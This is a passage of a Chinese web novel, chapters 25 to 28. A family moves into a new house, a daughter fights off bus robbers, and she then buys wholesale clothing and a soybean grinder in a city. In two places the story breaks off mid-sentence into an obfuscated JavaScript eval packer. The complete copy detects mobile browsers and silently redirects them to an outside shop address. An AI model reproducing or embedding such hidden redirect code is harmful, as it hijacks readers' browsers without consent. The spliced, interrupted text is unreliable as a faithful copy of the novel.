鞭炮噼里啪啦地炸开,刘瑞英开始散包子了。她带的全是自家做的豆腐包,赶早现蒸的,跟卖的一样足馅足料。村民们围着她喜气洋洋地领包子。有人拿到手后咬一口,惊喜地说:“包子味道真好!哪儿买的?” “自家做的!”喻庆山大声回答,刘瑞英顺便给自己未开张的早餐店打了一波广告,“乡亲们,我们家是专门做豆腐包子的。等搬过来了,欢迎大家天天过来吃!” 25. 第 25 章 自从家里开始建新房,喻秀竹就很少回去了。县一中本来放假的时间就少,每次在家里过个夜就得返校。现在喻家人人都忙,她不想爸妈骑车那么远来接她,干脆就留在学校自习算了。 到六月份,小庙村的新房盖好了,又陆陆续续装修得差不多了,秀水才把妹子接到小庙村。自行车载着秀竹刚出县城,她就在后座小小惊呼了一声。 她还是过年时来过这里,半年过去,南郊变化太大了。土路和菜地不见了,笔直宽阔的小庙大道已经修了很长一段,还在向更远处延伸。路的两边,高低错落地建起了新房,有瓦房,更多的是二层小楼。围墙里的县信合新大楼正在施工,已经盖到第七层。新车站的主体结构也差不多完工了。 自行车骑行在平整的水泥路上,一点都不颠簸。她们很快就来到了新家,站在家门口,秀竹再次发出了小小惊呼声。 二层小楼矗立在路边,当街这一面的墙上贴了白色瓷砖,显得格外气派。楼房旁边留了院门,进去院子里,后面是同样气派的三间砖瓦房和厨房。她看着新家,简直不能置信,结巴道:“这……这也太豪华了吧,这也太大了吧!” 院子里搭着凉棚,伍为民正在下面做家俱,听了直笑,“到时候你们俩都留在家里,招个上门女婿算了!反正房子够大,再多住几口人也住得下。” 刘瑞英从厨房出来,听了满脸笑容,并没有反驳妹夫的话。她觉得,光凭这几间敞亮的房子,秀水的亲事就不用愁了。这么好的房子,谁家不稀罕啊。 秀水已经迫不及待地搬了进来,暂时住在后面厢房里。每天蒸好包子,顺着刚修好的水泥路,骑自行车十几分钟就能到城区。路上能节省一个多小时,谁还愿意跑那么远住到红英村啊。她这一搬家,刘瑞英只好也跟着搬来了,因为早上母女俩要搭手做包子,秀水一人肯定忙不来。如今反而是喻庆山住在红英村的老房子里,天天照管着田里的活儿。 新家里,秀水最满意的就是厨房,两孔柴火灶也贴了白色的瓷砖,放柴禾的地方跟灶台之间做了隔断,看起来更为干净整洁。靠里墙用砖砌了流理台,贴了瓷砖做了柜门,跟后来的那些高端橱柜也没什么区别。石磨和做豆腐的家什都搬过来了,还新添了一个宽大的案板,就算揉再多面、做再多包子,都不用担心施展不开了。 秀竹参观完新家,心满意足。搬进新居的心思前所未有地迫切。七月中旬,她期末考试结束后,回家休息了两天。正好前面楼房也装修好了,喻庆山和刘瑞英便让她们挑房间。楼上四间房,三间是卧室。还有一间按照秀水的意思,留出来做了卫生间加洗衣房。秀水和秀竹住了靠里面的两间房。隔着卫生间,靠楼梯的那间房住着喻庆山夫妇。喻庆山觉得这样挺好,他们每天起得早,靠近楼梯可以免得打扰孩子们。 后院的三间瓦房,中间最宽敞的那间是堂屋。右边一间房放家里的粮食和杂物,左边的房间则是秀水专门要求留下来的,她在里面吊了个沙袋,打算布置出一个健身房。 所有的房间都刷得雪白,用的是九十年代最新潮的防瓷墙面。这防瓷怎么蹭都不沾灰,不像白石灰墙面,衣服稍微蹭上去就沾一身白灰。地面也刮了水泥地平,二楼卧室和卫生间的地面甚至都贴了瓷砖。 到这时,伍为民打的新家俱也都完工了,刷上桐油,晾了段时间。大伙儿搭手把新家俱搬进了新房。 两姐妹的房间里都是新床、新衣柜。本来要做梳妆桌的,后来听了秀竹和秀水的要求,每人房里做了一张书桌。喻庆山夫妇的房间里却只添了一个大大的衣柜。原先的旧床搬了过来,给他们住。堂屋里添置了一张新的大方桌和四条长凳。厨房里的碗橱、案板、小方桌……全都是新的,连择菜坐的小圆凳都是伍为民用边角料新做的。 虽说为了建房,家里欠了一屁股债,可在看到漂亮的新居、崭新的家俱时,刘瑞英仍是激动万分。做梦都想不到,她这辈子还能住上这么漂亮的楼房!就算以后要还一辈子的债,也值了! 上半年他们一直在忙碌,现在新房盖好了,田里也没多少活儿,夫妻俩才算稍微歇了歇。喻庆山便和刘瑞英商量,要趁家里有空,接亲戚们来新居这边玩一天,也算暖暖房。 刘瑞英自然是愿意的。家里三姐弟,以前就数她条件最差。现在她巴不得让大家看看,她的日子也好起来了。可转头想到父母和兄弟,她又犹豫了。 当初借钱,父母寒了她的心,她几个月没上父母的家门了。弟弟家也是,自从过年时吵了架,两家人都没再走动了。这时候为了请客再巴巴地凑上去?她可不愿意。 喻庆山却想着要趁这个机会,让老婆和娘家的关系缓和缓和,“又不是打算一辈子不登门了,”他说:“难道过年也不去拜年了?到时候接他们来玩一天,大家说开了也就没什么了。” 刘瑞英便也有些动心,但还是拉不下脸,于是把请客的事交给喻庆山,让他骑上车四处跑了一趟。 到了请客的日子,家里依旧是一大早做了包子,喻庆山和秀水一起骑车送去了城里。秀水去菜场卖包子,他则割了几斤五花肉,称了鱼,又买了些时鲜蔬菜。到家后,刘瑞英已经杀了只鸡,正在烫毛。两人正忙着,刘兰英过来了,一进门便道:“大姐,姐夫,有啥要做的?我来!” 两姐妹住得近就是方便,抬抬腿就走到了。又过了大半小时,伍老爹老两口才带着孙子孙女都来了,秀竹带着伍爱娜和伍爱今各处转悠,家里顿时热闹了起来。 到了十点多钟,喻庆海两口子和喻庆华也都到了。大家喜气洋洋地在楼上楼下参观,每个人都赞不绝口。等刘瑞英的父母过来后,彼此寒喧片刻,刘兰英又陪他们参观了一遍。 李润芝和刘其山早年间也曾到刘兰英家玩过,印象中的小庙村就是个烂泥坑,一下雨到处都是积水。没想到今年再来,处处都修得又气派又整齐。刘瑞英家的新房更是宽敞得令人啧舌,——真不知道花了多少钱! 李润芝看到这么漂亮的房子,欢喜之余,自然想起了自己的三儿。在楼上时她悄悄责备刘兰英,“怎么没告诉你弟,让他也来买个宅基地?这住得多好啊,出门就是水泥路!” 她不提便罢,一提这事刘兰英就皱眉,“妈,你还说呢,都怪我过年时多了一句嘴,问文强两口子买不买地基,结果潘萍和大姐吵了一架,到现在两家都还没说话呢。” 李润芝便恨声道:“老三媳妇也是个不省油的灯!好端端吵什么?把这么好的机会错过了。你也是!她说不要你就算了?好歹替你弟想想……” 正说着,下面又传来一片哄笑声,原来是伍五叔两口子和刘文强到了。刘其山和李润芝忙都下楼打招呼。伍五叔笑呵呵地说:“亲家公,亲家母,您家大姑娘和大女婿这新房盖得好不好?” “好!当然好!”刘家老两口忙都笑答。李润芝很会说漂亮话,又道:“全靠亲家在这边帮衬!不然他们哪儿修得起这么好的房子!” “我们可不敢贪功,”五叔笑道:“这是您养了个好姑娘,又有个好女婿!两口子又勤快又能干,才能盖得起楼房。咱村也有多少人羡慕哪……” 几句话说得老两口笑眯了眼,李润芝便趁机说:“亲家,这边还有没有宅基地?也帮我们家老三谋一个!” 刘文强骑着摩托过来时,看到这边盖满了新房,心里也着实羡慕,听了他妈的话,忙跟着道:“对啊五叔,没想到这路说修就修了。靠路边的宅基地还有么?要有合适的,我也买一个!” 五叔笑道:“靠里面的宅基地只怕还有几个,路边的早就抢完了。实话告诉你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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县一中已经放假了,但学校仍要组织学生补课,到八月份才会结束。刘文强听了便叹气。李润芝忙问怎么回事,刘文强便说了缘由。原来刘子康下半年便要读五年级,刘文强和潘萍在家商量了,想让秀竹趁暑假帮儿子补一补。 刘其山一听,立刻道:“秀竹,你学习好,是该给弟弟好好补补课!” “我也要补课呀,”秀竹忙说:“明天我就要回学校了。” 刘兰英也解释道:“一中学习抓得紧,年年寒暑假都要组织学生补课的。” 李润芝皱眉道:“竹子成绩那么好,还需要补课?每天请半天假不行么?” 这话一说,其他人都笑了。五叔道:“亲家母,县一中是重点高中,好容易才考进去的。别的孩子都在拼命学,咱们家孩子咋能请假呢?” 喻庆华也说:“全县的聪明孩子都在县一中。这幸好是秀竹聪明,才跟得上。乡镇初中本来就赶不上城里,但凡差一点,就要被同学甩下来一大截呢!秀竹,补课也要好好学!” 几人七嘴八舌,刘其山和李润芝这才没说什么了。刘文强便道:“那等秀竹放了假,我让子康住过来,让她帮忙辅导辅导。” 秀竹只好答应了,想了想却又道:“我记得今子马上要读初中了,姨妈,到时候让今子也一起过来吧。” 刘兰英和伍为民喜出望外,忙满口答应。旁边的伍爱今却没想到,来吃个饭竟然天降横祸,顿时连碗里的肉丸子都不香了,嘟着嘴不敢作声。 一顿饭吃得其乐融融,除了悲催的伍爱今。喻庆海和喻庆华离得远,饭后便要告辞回家,大家也都陆续散了。临走前李润芝又拉着秀竹切切叮嘱,让她务必对子康耐心些,“争取让你弟跟你一样考上一中!到时候婆婆给你鸡腿吃。” 秀竹笑着答应了,心里却想,婆婆家的鸡腿,永远都是弟弟的。她可忘不了,过年时她连压岁钱都没有呢。 26. 第 26 章 到了七月,怀安县突然到处都是传言,说县里马上要撤县建市,准备大搞庆典。 其实这个消息从去年秀水就听说过了,但是之前只在坊间流传。如今县里几乎人人都知道了,显然撤县建市是实有其事了。 喻庆山非常兴奋,磨豆浆时带着期待的神情说,怀安县变成怀安市以后,要是他们小庙村也归并到城区就好了。刘瑞英觉得他在想屁吃。二十多年前县城就是那么大点地方,最繁华的商业中心始终没变过。难道他们刚搬过来,这里就扩展成城市了?她做梦都不敢这么想。 不过,不管小庙村的将来如何,他们都准备在一楼把早餐店开起来。反正房子是自家的,水电费也便宜。而且小庙村这边的居民手里都有钱,好多人喜欢在外面过早。等信合大楼和车站建好了,人流量更多。他们家店子开起来肯定有生意。 但开店之前,秀水准备先去江市一趟。她要看看大城市有没有磨浆机,不然买个电机回来自己组装也行,总之纯手工的磨浆流程一定要机械化。自从跟着父母磨了几个月豆浆,她真的是够够的了。 倒不是嫌累。磨豆浆能锻炼臂力和核心力量,狂踩自行车也可以锻炼腿力和耐力。从她开始卖豆腐包,身体素质就蹭蹭往上升。再加上晚上有空时她会练练拳,体力和灵敏度比刚开始恢复了不少。 可是,她早上起不来啊!谁家好人天天凌晨一点多钟就起床?白天还没时间午睡,长此以往,她非猝死不可。 而且,这些天她一直在考虑,家里除了卖豆腐包,还应该开辟别的增收渠道。以她在县城里的观察,这年头“衣食住行”这一块的生意最好做,尤其服装店很挣钱。县城里虽然已经有了很多服装店和鞋店,但是质量良莠不齐,价格还虚高。想买件质量好点的衣服,不仅需要好眼力,还需要高超的还价技巧。 秀水认为这就是自己的机会了。反正楼下还有三间门面暂时空着,她要进一批衣服回来定价销售,主打一个质优价廉。这年头好货不怕巷子深,哪怕位置偏僻些,也不愁没有生意。 自从喻庆山和刘瑞英从亲戚那儿借到了钱,秀水就没再上交卖豆腐包的钱。攒了这么久,加上她手头原本的钱也有好几千块了。秀水决定就用这个当本钱,先去江市考察一番。 她把这些打算和父母说了,喻庆山两口子自然二话,亦且觉得她说得很有道理。只是去江市坐长途车需要近六个小时,她一个人出远门,喻庆山和刘瑞英都很不放心。 这年头出门可不是件安全的事情。警力有限,又没有监控。车站里小偷地痞多,路上车匪路霸多。到了大城市还会碰到黑车,把人拉到僻静地方,要打要抢要卖还不是一句话的事情。 刘瑞英想到这些就忧心肿肿,想让喻庆山陪她去。秀水却很不以为然,说:“车上都是人,有什么好怕的?” 喻庆山也担心,说:“还是得防着些,我们一起去也能互相壮个胆儿。” “真碰上了坏人,你也拿他们没办法啊,”秀水说,“还不如我一个人跑得快。” 无论有多担忧,江市都是必须要去的。不过,临走前秀水为防万一,还是朝包里塞了个三节棍。这东西是她让伍为民帮忙做的,沉甸甸的老实木棍子磨得光溜溜的,两端打了洞眼,用铁链子连起来。放进包里不占地方,拿着打人还疼,实乃居家旅行凶器之首选。 秀水都打听好了,去江市进货的人都坐夜班车,到那里是凌晨时分。正赶上江市最大的服装批发市场打开档口做生意。进了货,快的话就可以坐白班车回来,正好省去住宿的费用,还节省时间,因此这次她也打算坐夜班车。 刘瑞英苦劝道:“你就坐白班车去。来不及就在那边住一晚。白天的车到底还是安全一些。” 秀水大大咧咧地道:“哪有那么多拦路的?我运气不可能这么好。” 她到底是没听刘瑞英的,晚上吃过饭,休息片刻便提着包,带着她的巨款走了。到了夜班车停靠的地方,她挑了个靠近车尾的位置坐着,等了好一会儿,才有乘客陆陆续续上车了。 夜班车比白班的人少,但等到发车前,车厢里的座位也渐渐坐满了。直到司机打燃车辆,她旁边的位置才来了个人。一个又高又壮的大小伙子顺着过道走到车尾,在她旁边坐下。就着昏黄的灯光,两人对视了一眼,彼此都觉得有些眼熟。 “咦?你是……”秀水看着他脸上的青春痘,终于想起来了。这男孩在二中读书时,早上经常买她家包子。去年在棉花收购站的巷子里,他还帮她赶走了两个混混。其中一个混混还很可笑地自称龙哥。 男孩显然也想起了她是谁,肯定道:“你是卖豆腐包的老板。” “是的,”秀水对自己的老客户都有点自来熟,忙问:“你叫什么?好久没见到你了,现在从二中毕业了吗?读高中了?” 男孩点头,迟疑了一会儿才告诉她,他叫高晟,在八中读书。 八中是城区一所普通高中,成立没几年。秀水听了,疑惑道:“八中难道不补课吗?” 都是高中生,凭啥她家秀竹天天补课,这小孩却在外游荡? 高晟听了这话,脸色有点不自在。于是秀水明白了,这孩子肯定是逃课出来的。要是爹妈知道了,少不了一顿混合打。 她体贴地没再继续这个让学渣憎恨且羞愤的话题,想了想又道:“你的朋友们呢?那个龙哥,没跟你一起出来玩?” 高晟看她一眼,说:“那不是我朋友。” 朋友?开什么玩笑?就凭他手里钱又多,还没家长管,要不是自己拳头硬,很可能会成为阿龙等人眼中的肥羊。 两人没聊上几句,破破烂烂的长途大巴车就启动了,缓慢提着速,开进了黑暗中。秀水没再说话,而是靠在椅背上休息,没多久就在车辆的噪音中睡了过去。 车厢里一片黑暗,也没人再说话。六个小时的长途,大多数人都会趁这个机会睡一觉。 大巴车停靠的站点少,但碰到有乘客上下还是会停一停。中途又在一个车站停下来,让乘客们上厕所。秀水没下车,继续靠着窗户睡觉,朦胧中觉得车又开了。 也不知过了多久,突如其来的刹车声,把所有乘客都惊醒了。秀水猛地睁开眼,就见车辆已经停下了。窗外是荒僻的田野,前不靠村后不着店,正是拦路抢劫的好地段。 车厢里的灯开了,昏暗光线下,四个男人戴着劫匪经典道具“狗钻洞”帽子,手持西瓜刀和三棱刺,朝人群大吼:“不准动!谁都别动!” 这他爹的是有多好的运气,第一次上江市,竟然真让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802249|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰上拦路的劫匪了。 车内乘客瞬间睡意全无,个个惊恐万分,没人敢发出声音。秀水从前座靠背上方朝前看了看,最前面一个男人拿刀控制着司机,靠车尾站着一个壮汉。一个矮个子和另一个胖子则拿着大编织袋,从车头往后挨个搜捡乘客。时不时地还打骂乘客几句,立立威风。 秀水攥紧了膝盖上的提包,看了旁边的高晟一眼。正好高晟也在看她,目光从她脸上移到了她手中的提包上。 他坐着没动,手却伸过来,想帮秀水把提包塞到前座下面。但秀水却按住了他的手,——塞下去她就不方便拿兵器了。 “不准交头接耳!”“不准动!”几个劫匪不停喝斥,中间的矮个子厉声道:“今天只要钱,不要命。要是有人藏着钱不给,等我搜出来,那就别怪老子不客气!” 正说着,前面突然起了争执。一个青年辩称自己没带钱,矮个子和胖子搜了一圈,从座位下面找到了扔进去的一个皮包。胖子照脸就是两拳,打得那青年鼻血长流。旁边女乘客发出惊叫,立刻把包里所有钱都交给那两人。 车厢里弥漫着惊惧和绝望,伴随着时不时响起的耳光声。车尾的壮汉提着刀,机警地扫视着每个乘客。秀水打量着狭窄的过道和身侧位置,四个劫匪都有武器,取胜并不容易。尤其她旁边还坐着个又高又胖的小孩,跟一堵墙似的,影响她发力。——得跟他换个位置。 她便朝高晟使了个眼色,用气声道:“换座位。” 高晟正高度紧张,看她大睁着两眼紧篡提包,忙瞄了眼劫匪,用气声道:“藏起来。” 秀水又使个眼色:“朝旁边让让。” 高晟:“我挡着,快藏钱!” 两人毫无默契,相互交换了几个不知所谓的眼神,彼此都没明白对方的意思,但彼此都很急。 “不准动!不许说话!我看谁敢动,叫你动!耳朵聋了吗还他妈敢动!”车厢响起啪啪击打声和哀嚎声,搜钱二人组已经接近车尾,很快来到了秀水和高晟的旁边。 “把钱交出来!”矮个子朝高晟厉声喊,对这个大高个提高了防备。高晟很乖顺地从口袋掏出一卷钱,交给劫匪,矮子才又稍加松懈,朝里面的秀水喊:“赶紧拿钱!” 但在看清楚秀水后,他的语气变了,指着她说:“你出来,跟我出来!” 秀水看着他没动。暗沉沉的光从她头顶泄下来,她的眼睛又大又亮,像一只受到惊吓的小鹿,让人想逮住她,好好地戏弄一番。 矮个子甚至想进来拉她,但壮实的高晟光是坐在那儿,就阻挡了他的行动。于是他暴躁地打了高晟一拳,喊:“你他妈给我蹲着!出来蹲着!” 谁也没想到,高晟突然被激怒了。他狂吼一声“我凭啥蹲下”,抬脚便朝矮子踹去。这一脚势大力沉,矮子被踹得撞向过道中的胖子,两个人都跌坐在车厢的过道里。 旁边壮汉立刻举刀扑过来,“找死吧你!” 高晟抬高双臂护着头脸,准备拼死扑倒他,忽然一股大力把他朝后拉去。旁边不知什么黑影一闪,就听“咻”地一声响,壮汉手里的刀被打落。又是咻咻两声,那人嚎叫着捂着脑袋蹲下了。 秀水双手撑在椅背和高晟的头上,窜进了过道里。这小胖子,差点害她来不及出来! 27. 第 27 章 秀水从里面窜出来,甫一落地,就顺势狠踹壮汉一脚。又反手握住三节棍一端梢节,化棍为鞭,连连抡中刚爬起来的矮子和胖子。 高晟此时也已骑在壮汉身上,那人剧烈挣扎想翻起身,眼看制服不住他,高晟急中生智,一声暴喝:“我们人多,起来打死他们!” 秀水忙也跟着喊:“把钱抢回来!” 惊惧无助的乘客们被提醒了。对啊,我们人这么多,凭什么要被他们打、被他们抢? 都上!打死他们!把我们的钱抢回来! 眼看壮汉和高晟在过道打成一团,车尾几个乘客飞扑上去,死死压住了他,有人甚至一屁股坐到了他的脸上。车厢里顿时骚动起来,怒骂声、惨嚎声、惊叫声响成一片。车厢中间的胖子和矮子刚爬起来就挨了几棍,又被众人推搡在地,混乱中挨了无数拳脚。 从秀水跳进过道,到三人被制服,不过短短一瞬。前面劫持司机的男人听到动静,怔了下才反应过来,立刻扔下司机朝车厢跑来,手上长刀晃动,在黯淡光线中反射着白光。秀水一把薅住矮子的头发,反手捡起地上的三棱刺对着他脖子,朝那人大喝:“把刀放下!不然捅死他!” 如果矮子这时抬头看她,一定会觉得她面目狰狞,活生生一个凶残女罗刹,哪还有半分受惊小鹿的样子。 持刀男人见势不对,掉头就朝车门处跑。就在这时,旁边那个流鼻血的青年突然抽出货架上的行李包,朝他抡去。男人被抡得歪了一下身形,转身准备挥刀,却被秀水赶上来,一脚踢中右臂,长刀脱手而去。紧接着又被连番击中面门,踉跄倒在另一边的一位乘客身上。 “打死他们,狗日的!”男青年也愤怒地大喊,扑过去拳脚并用,毫无章法地痛殴那男人。此刻劫匪败势已定,几乎所有乘客都站起来,有人把刀子和三棱刺扔出窗外;有人挥拳痛打落水狗;也有人凑不进去,在外围伸着脖子怒骂:“狗日的,打死他们!让他们抢钱!” 乱纷纷不知过了多久,直到四个劫匪快被打变形了,才有人不知从哪里找了绳子,把四人连成一串捆住了。这时司机才摸着脖子上被刀割出来的血痕,嘶声问大家:“要耽误大家时间了,先把这些人送公安局,行不行?” 众人七嘴八舌答:“这还用问?赶紧送公安局!赶紧送!” 司机一面庆幸自己逃出生天,一面抖抖索索发动车子,开到了附近镇上一个派出所。一车人群情激愤地押着劫匪下去了。值夜班的民警听说是车匪,也非常重视,立刻叫来五六个人,把鼻青脸肿的四个劫匪都关押起来,并让大家过去做笔录。 “事情经过是怎样的?谁来说一说?”民警问。 “多亏了他们,全靠他们带头奋勇杀敌。”乘客们说着,把高晟和喻秀水推到前面,又把鼻子里塞着两团纸的青年人也推上前去。 当先的秀水义正辞严道:“警察同志,这些人分工明确,组织严密,绝对是惯犯!你们要好好审问!” “对!对!”这话引起一阵共鸣,大家纷纷道:“看样子绝对抢过不止一次两次了!”“不知道有多少人受过这些畜生的罪!”“不止抢钱,还打人!”“看到漂亮姑娘他们还上手摸,真不是个东西……” 还有人说:“他们这种行为属于见义勇为,你们要重重嘉奖!” 也有人谴责:“坐个车都遇到劫匪,你们公安部门是不是该严厉打击了,太不安全了……” 乱纷纷做完笔录,大家这才重新上车。劫后余生,萌生出深厚的情份,乘客们纷纷交换姓名,以后也算同生共死的兄弟姐妹了。前面的男青年也走到高晟和秀水座位旁,给他们一人发了一张名片,说:“我叫姜明程,回怀安县了我要采访你们俩。怎么联系你们?” 秀水接过名片一看,原来这人是怀安报社的记者。她忙自我介绍:“我是卖豆腐包子的,家在小庙村,就在新修的路边。你打听喻庆山家就能找到我。” 高晟此时还很激动,闻言忙补充:“她家豆腐包很好吃。我爷爷吃了她家包子才去世的。” “啊?”秀水和姜明程同时大惊。 高晟赶紧又解释:“不是,我爷爷生病想吃点好的,吃了她家包子,过了好几天才去世的。” 秀水大大松了口气,死小孩,怎么说话呢!她就说她家包子不可能有质量问题! 姜明程又问了高晟的地址,还留了车上其他乘客的联系方式,一再约定回去就采访他们,这才回到自己座位上。他非常激动,没想到这次因私事去江市一趟,路上会出这么大的新闻。 等他走了,便有另外几个乘客也凑过来自我介绍,有好几个服装店老板,也有单位上班的人。还有个女乘客说:“我在菜场碰到过你,我最喜欢吃秀水豆腐包了。” 秀水忙说:“刚出锅的包子更好吃。我们家准备在小庙大道旁边开早餐店,到时候欢迎大家去品尝。” 车厢里的乘客纷纷响应:“一定去一定去!到时都带人去,给你做生意!” 直到车开出很远,大家激动的心情才渐渐平静,车厢里也重新安静下来。到这时高晟才崇拜地问秀水,“你怎么会三节棍?太厉害了!太帅了!太牛逼了!太……了吧!” 秀水朝自己树起大拇指,扬眉道:“我,武学奇才,宗门圣女。” 高晟看着她,眼睛里闪烁着求知若渴的光芒:“那你们宗门还收徒弟吗?我拜你为师,行不行?求你了,行不行?” 秀水看着身高体壮的小胖,心里一动。她正苦于没有人对练,高晟虽然是个白丁,但胜在年轻,皮糙肉厚肯定扛打。在没有合适人选的情况下,不失为一个对练的人选。 “你一个高中生,不用天天上课吗?哪儿来的时间练拳?”秀水说着又警惕起来,“你是不是逃课出来的?说!” “我请了假的!”高晟有点气急败坏。——他确实是写了假条的,至于批不批,那是老师的事。看到秀水神情有所松动,他又忙背出课本里的金句,“再说了,时间是海绵里的水,挤一挤总会有。我走读生,放假可以学,课余也能学。” 秀水点头,“那给你一个月的实习期。我看看值不值得培养。” 高晟大喜,当即抱着双拳道:“师父,说定了啊,不能反悔!师父,我回去了就去找你!” 他们这辆车本应该凌晨三四点钟到江市,但因为在半路上耽误了,抵达车站时天已经亮了。乘客们打着呵欠下车,相互依依告别,约着回去后再见,这才各自散去。秀水却站在车站,一时没想好朝哪儿走。 “师父,你准备去哪儿?”高晟还跟着她,“要不要我跟你一起?反正我没事,对这里还很熟。” “是吗?”秀水大喜,忙说:“你知道附近哪里有电机市场?就……我想买个电动磨浆机。” 这个高晟还真不知道,但他很有主意,便说:“走,先去吃早饭,再去买张地图。地图上肯定标注了的。” 车站就有卖地图的,秀水买了一份,和高晟进了旁边早餐店,一边吃早饭一边研究地图。她先圈了服装批发市场的位置,又把两三个跟机械电机相关的市场圈出来,打算每个都跑一跑。 高晟便知道她还要去服装市场看货,吃完早饭提议道:“师父,你要是想批发服装,就得赶早去。我来给你把另外几个地方跑一跑。你要的电机究竟啥样的 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秀水顺着街道逐一看去,有中意的便进去,细细摸着衣服的布料,然后看针脚和做工。此时大多数店主也并不前来招徕,只是看一眼,便又忙自己的。只有停留得久了,才会说一句:“零售不卖!” 秀水也并不理会。这些做服装批发的店主,最会看人下菜碟。通过一个人的衣着气质,就能判断出到底是来进货的,还是闲逛的。碰到明显不是买主的,还会摆臭脸朝外逐客。但是好几个人看到秀水进去,脸上却显出迷惑神情。——没别的,因为这女孩太特别了。 明明是很土的衣服,多半是乡下裁缝做的,可是因为她个子高挑,四肢修长,硬是穿得合体好看了起来。再加上她没有半点乡下人的局促,进店看衣服时大大方方,实在让这些眼光老道的店主们判断不出来,这人是什么来路。 在一家卖的确良衬衣的店铺里,秀水呆的时间有点长。等她看得差不多了,店老板便不冷不热地提醒:“三十件起批。” 的确良衬衣正是秀水这次想买的主打服装。她家楼下位置比较偏,又是刚开始卖衣服,当然要以便宜实惠为主。而的确良衬衣是这几年最受欢迎的服装之一,男女皆宜。这家店的衣服颜色鲜亮,领口款式多,做工也细致。秀水便问:“混批一百件怎么卖?” 女店主趿着拖鞋走过来,报了个数,“一件三十!” “贵了,”秀水放下手中衣服,按照刘瑞英平时砍价砍一半的理念,说:“一件十二块还差不多。” “那我进都进不来!”女店主冷声道:“诚心要就便宜两块钱。不要就算了!” 秀水见她肯往下降,心下大定,口气也强硬起来,“十三!我上天了给你加一块!” 两人唇枪舌剑,你来我往,磨了半天,最后女店主气急败坏地说:“现在卖衬衣本来就赚不了钱,看你是第一回来做我生意,十六块,一分钱不能少了。再还价你就去别处逛逛去!” “十五一件,不然我就去别处看。又不是只有你一家卖衬衣!”秀水寸土不让。 “那你别处看看去!”女店主转身往回走。 秀水也转身往外走,心里默念:快来喊住我快来喊住我! 就在她出了店准备继续走时,女店主也跟了出来,脸色很臭地说:“回来!十五一件给你!要不是为了腾货我真……” 秀水强忍着没笑,真是人生如戏全靠演技。不过如果刘瑞英同志在这里,只怕能够还到更低。但秀水已经很满意了。她觉得逛街真累,磨嘴皮也累。怎么这么累人?比打了一小时拳还累人。 28. 第 28 章 一百件不同号码、不同颜色的的确良衬衫,用蛇皮袋装了满满一大袋。秀水背着出了门,马上就有挑夫过来揽生意,“老板,到哪里去?我来挑我来挑!” 秀水没松手,朝那人摆手,“不要,我有的是力气!” 她早就听人说过,批发市场和火车站里出没的挑夫鱼龙混杂,可不能掉以轻心。有的挑夫是卖苦力的,有的却是专做捡漏生意的。所谓捡漏,就是趁着行李多人多,把雇主的东西夹带着钻巷子跑掉。这都不算偷,算是明抢。 在她明确拒绝后,仍有两个挑夫在后面纠缠,秀水便回头冷声道:“说了不要!没听到吗?” 她虽然是个年轻女孩,拉下脸来却很凶,看着很不好糊弄,两个挑夫便嘀咕“哎哟,不要就不要嘛,发啥子脾气哦”,边说边走开了。 秀水背着沉重的蛇皮袋,继续探店。这回她再进去,就会招来店主们热情的招呼,“想看点啥?店里裤子袜子都有哦,不赚钱,便宜卖!” 秀水又看了七八家店,终于见到满意的了。这家店裤子板型正,牛仔裤西裤都有。最外面还挂着时下流行的健美裤,摸着质量也还行。于是经过一番讨价还价,她以不同价格拿下了五十条牛仔裤,六十条西裤和二十条健美裤。 把货物仔细检查过了,没有问题,秀水才让店主叫来一个经常合作的挑夫,把两大蛇皮袋衣服挑着,继续陪她看货。这回她又在一家店里看到有卖棉绸衣服的,花色多、价格实惠,尤其裙子,有一种款式非常简单的,就是一块布上面缝着一根系带,但拦腰系上后又轻薄又修身。秀水把各色裙子买了几十条,棉绸套装几十套,又是满满一蛇皮袋。完了这才和挑夫一起出了市场。 三大袋衣服死沉死沉的,好在车站离得不远,那挑夫一根扁担挑两袋,她自己扛一袋,终于到了车站旁边。 不知不觉已经是下午了,秀水给挑夫算了钱,在旁边餐馆里买了两个馒头,坐在袋子上边吃边休息。等了没多久,高晟就回来了,远远看到她就喊师父,说:“跑了好几处,终于找到了,不确定是不是你想要的那种机器,我带你过去!” 秀水大喜,忙说:“走走走!” 高晟在路边拦了辆出租车,跟秀水合力把两袋衣服塞进后备厢,又塞了一袋在后座上。他们跟师傅说好,先去某机电市场,然后再到长途客运站赶车。那师傅见他们行程紧凑,踩着油门风驰电掣地赶去了机电市场。几个人一块儿下车,去了市场里面,果然在一个门店里找到了电动磨浆机。 “打豆浆打米浆都好!”老板说:“你们确定要货,我就试给你看,不然把我机器搞脏了。” 一米多高的机器,做工用料很扎实。上面是进料仓,下面是出浆口。中间是电机,只需要插上电,泡软的大米或豆浆都能打出细腻的浆来。秀水让他插上电试过后,噪音也不大,处处都让人满意,只有一桩不好,价格太贵。 这样一款机器,居然要卖一千二百块钱。 她这次来江市,总共只带了三千多块钱,买衣服已经花去了近三千块钱。又是一番激烈的讨价还价,这次连出租车司机都参与了进来。 “卖这贵!”司机说:“少点少点,算鸟少点!” “哪里贵了?哪里贵了?”店主激动地争辩,“铁皮卖好多钱一斤晓不晓得?我这又不是铁皮,这是机器的模子轧出来的!” 几人吵架一样还价半天,总算便宜了一百元。秀水把身上所有的钱都掏出来,还是不够,最后是高晟垫出来两百块钱。 “我没钱了,”秀水把他拉到一边,悄悄问:“你还有多少钱?够不够付车票和出租费?” 出租车司机隐约听到一点,立刻警惕了起来,双目灼灼紧盯他们。高晟忙说:“我有钱,师父,我钱多着呢。”他从口袋里掏出一卷钞票,看着少说也有两三百块。 